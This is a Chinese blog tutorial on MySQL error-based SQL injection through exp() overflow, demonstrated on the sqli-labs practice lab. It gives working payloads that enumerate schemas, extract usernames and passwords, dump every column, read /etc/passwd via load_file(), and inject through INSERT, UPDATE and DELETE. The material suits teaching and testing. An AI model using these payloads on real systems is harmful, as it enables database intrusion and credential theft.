mysql exp注入_Mysql注入之exp报错注入

本文介绍了MySQL中的Double型数据溢出错误,特别是通过exp()函数导致的溢出。作者展示了如何利用这种错误进行SQL注入,通过否定查询触发错误并以此获取数据库信息。实验在5.5.42版本的MySQL中有效,但在更高版本中可能无法产生错误。文中给出了注入数据、读取文件的示例,并探讨了在Insert语句中的应用。
摘要由CSDN通过智能技术生成

Author:Silent

DATE:2017-11-17

Warning:实操部分需实现效果,不然就是失败的实验;

前言:

好消息好消息~作者又在MySQL中发现了一个Double型数据溢出。如果你想了解利用溢出来注出数据,当我们拿到MySQL里的函数时,作者比较感兴趣的是其中的数学函数,它们也应该包含一些数据类型来保存数值。所以作者就跑去测试看哪些函数会出现溢出错误。然后作者发现,当传递一个大于709的值时,函数exp()就会引起一个溢出错误。

一、函数介绍:

EXP(x)   返回值e(自然对数的底)的x次方

exp执行结果

分析:

E ≈ 2.7182818284 5904523536 0287471352 6624977572 4709369995

dfb63d6ad4c6ec2d213075ecfc97228b.png

在MySQL中,exp与ln和log的功能相反,简单介绍下,就是log和ln都返回以e为底数的对数,

ln(15)=loge(15)≈ 2.7182818284

7cd33f22cbec8e1605feccda780a5a64.png

指数函数为对数函数的反函数,exp()即为以e为底的对数函数,如等式:

1f3b2bbb48754bb4fff1bb8ba56f5cba.png

二、注入:

当涉及到注入时,我们使用否定查询来造成“DOUBLE value is out of range”的错误。作者之前的博文提到的,将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

1f748aa35efabf53721b95b9908f67ad.png

我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

结合:

exp(~(select*from(select user())x));

最新版本mysql数据库无法实现报错;

fe797c0e1e63a9426466436818d72bf9.png

5.5.42版本数据库可以实现报错;

1d450e4fd713038b88376817ec0b949e.png

三、注入数据:

既然通过以上姿势可以爆出当数据库;那么下面我们就可以爆出表、字段数据等;

第一个表:

select exp(~(select*from(select table_name from information_schema.tables where table_schema='security' limit 0,1)x));

491c3fd89351fc14eaf833f5979d3893.png

第二个表:

select exp(~(select*from(select table_name from information_schema.tables where table_schema='security' limit 1,1)x));

爆出字段信息:

第一个字段:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

ce93466e61305a178fe4e887c017536d.png

第二个字段:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 1,1)x));

爆出字段数据:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

3af8ef1674c22d97aed3fd561614d57b.png

四、dump出所有表、字段中数据:

这个查询可以从当前的上下文中dump出所有的tables与columns。我们也可以dump出所有的数据库,但由于我们是通过一个错误进行提取,它会返回很少的结果。

select exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))

b48bf89eb1173af8291961cc9e60a107.png

demo:

http://sqli-labs.me:8888/Less-5/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from information_schema.columns where table_schema='security'and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))--+

0d1632c0b813bd1aa26c99d83498d0cb.png

五、读取文件

你可以通过load_file()函数来读取文件,但作者发现有13行的限制,该语句也可以在BIGINT overflow injections中使用。

select exp(~(select*from(select load_file('/etc/passwd'))a));

数据库版本:5.5.42

73a58764f2d7d79d53d79d691c4f0688.png

数据库版本:5.5.58    已经无法实现报错;

ce33f5c65b61fb542f58306ac33d9556.png

六、Injection in Insert:

和插入数据格式一致性,

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'test');

1483402bfa9c9edd5b8e94ef5af09ae8.png

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');

5501f545bdfe251280f7361c73bd27a0.png

update:

mysql> update users set password='test' ^ exp(~(select*from(select user())x)) where id=4;

delete:

mysql> delete from users where id='1' | exp(~(select*from(select user())x));

关于更多介绍可以参考mysql官方函数介绍,或许学习更多新的知识;

还不赶快去到环境中测试一遍呢!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值